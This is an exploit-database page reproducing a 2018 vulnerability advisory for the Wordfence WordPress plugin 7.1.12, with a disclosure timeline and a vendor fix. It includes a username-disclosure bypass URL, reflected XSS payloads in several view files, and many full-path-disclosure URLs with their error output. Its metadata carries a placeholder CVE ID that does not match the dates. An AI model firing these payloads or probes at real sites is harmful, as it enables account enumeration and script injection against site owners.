Exploitalert - Database of Exploits

WordPress Wordfence 7.1.12 XSS / Username Disclosure

CVE	Category	Price	Severity
CVE-2020-XXX	CWE-79	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-10-18

CVSS	EPSS	EPSSP
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N	0.89	0.9

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2018100154

WordPress Wordfence 7.1.12 XSS / Username Disclosure

[waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence Wordpress plugin ================================================================================ Author: Janek Vind "waraxe" Date: 02. October 2018 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-109.html Target description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wordfence includes an endpoint firewall and malware scanner that were built from the ground up to protect WordPress. Our Threat Defense Feed arms Wordfence with the newest firewall rules, malware signatures and malicious IP addresses it needs to keep your website safe. Rounded out by a suite of additional features, Wordfence is the most comprehensive WordPress security solution available. https://wordpress.org/plugins/wordfence/ https://www.wordfence.com/ Vulnerable version: 7.1.12 Fixed version: 7.1.14 Active installations: 2+ million ############################################################################### 1. Wordpress username disclosure protection partial bypass ############################################################################### Preconditions: * works only for user who is author of the last post Testing: Let's try well know Wordpress username disclosure method with activated Wordfence: http://localhost/wp498/?author=1 Result: "Oops! That page canat be found." Now let's try modified query: http://localhost/wp498/?author[]= Result: "Author: root" This method can disclose only one username - from author of the last post ############################################################################### 2. Reflected XSS in "403.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variable "customText" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php?customText=<script>alert('XSS')</script> ############################################################################### 3. Reflected XSS in "503.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variables "reason" and "customText" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?reason=<script>alert('XSS')</script> http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?customText=<script>alert('XSS')</script> ############################################################################### 4. Reflected XSS in "503-lockout.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variables "customText" and "homeURL" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?customText=<script>alert('XSS')</script> http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?homeURL="><script>alert('XSS')</script> ############################################################################### 5. Full path disclosure in multiple PHP files ############################################################################### Reasons: * directly accessible PHP files Preconditions: * display_errors = On (default is "On") Testing: http://localhost/wp498/wp-content/plugins/wordfence/wordfence.php Warning: Invalid argument supplied for foreach() in C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 20 Fatal error: Call to undefined function trailingslashit() in C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 31 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php Fatal error: Call to a member function createNonce() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503.php on line 235 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php Fatal error: Call to a member function createNonce() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503-lockout.php on line 240 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php Fatal error: Class 'wfWAFUtils' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403.php on line 234 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php Fatal error: Class 'wfWAFUtils' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-roadblock.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php Fatal error: Call to a member function getRequest() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-blacklist.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php Fatal error: Interface 'wfWAFStorageInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\storage\file.php on line 3 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\rules.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php Fatal error: Class 'wfWAFBaseParser' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\sqli.php on line 3 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\http.php on line 439 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/bootstrap-sample.php Warning: file_get_contents(C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src/baseRules.rules): failed to open stream: No such file or directory in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\bootstrap-sample.php on line 40 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/WebService/Http/CurlRequest.php Fatal error: Interface 'MaxMind\WebService\Http\Request' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\WebService\Http\CurlRequest.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/PermissionRequiredException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\PermissionRequiredException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/IpAddressNotFoundException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\IpAddressNotFoundException.php on line 6 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidRequestException.php Fatal error: Class 'MaxMind\Exception\HttpException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidRequestException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidInputException.php Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidInputException.php on line 11 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InsufficientFundsException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InsufficientFundsException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/HttpException.php Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\HttpException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/AuthenticationException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\AuthenticationException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/WebService/Client.php Fatal error: Interface 'GeoIp2\ProviderInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\WebService\Client.php on line 45 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Traits.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Traits.php on line 92 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Subdivision.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Subdivision.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/RepresentedCountry.php Fatal error: Class 'GeoIp2\Record\Country' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\RepresentedCountry.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Postal.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Postal.php on line 21 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/MaxMind.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\MaxMind.php on line 14 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Location.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Location.php on line 37 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Country.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Country.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Continent.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Continent.php on line 23 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/City.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\City.php on line 24 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/AbstractPlaceRecord.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\AbstractPlaceRecord.php on line 6 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Isp.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Isp.php on line 21 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Insights.php Fatal error: Class 'GeoIp2\Model\City' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Insights.php on line 46 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Enterprise.php Fatal error: Class 'GeoIp2\Model\City' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Enterprise.php on line 46 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Domain.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Domain.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Country.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Country.php on line 31 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/ConnectionType.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\ConnectionType.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/City.php Fatal error: Class 'GeoIp2\Model\Country' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\City.php on line 48 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Asn.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Asn.php on line 17 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/AnonymousIp.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\AnonymousIp.php on line 22 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/OutOfQueriesException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\OutOfQueriesException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/InvalidRequestException.php Fatal error: Class 'GeoIp2\Exception\HttpException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\InvalidRequestException.php on line 10 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/HttpException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\HttpException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AuthenticationException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AddressNotFoundException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Database/Reader.php Fatal error: Interface 'GeoIp2\ProviderInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Database\Reader.php on line 35 Solution: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Found issues have been addressed in Wordfence 7.1.14 release. Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 13.09.2018 -> First email to vendor 13.09.2018 -> First response email from vendor 13.09.2018 -> Sending detailed information to vendor 01.10.2018 -> Found problems are fixed 02.10.2018 -> Current advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [email protected] Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/ Personal homepage: http://www.janekvind.com/

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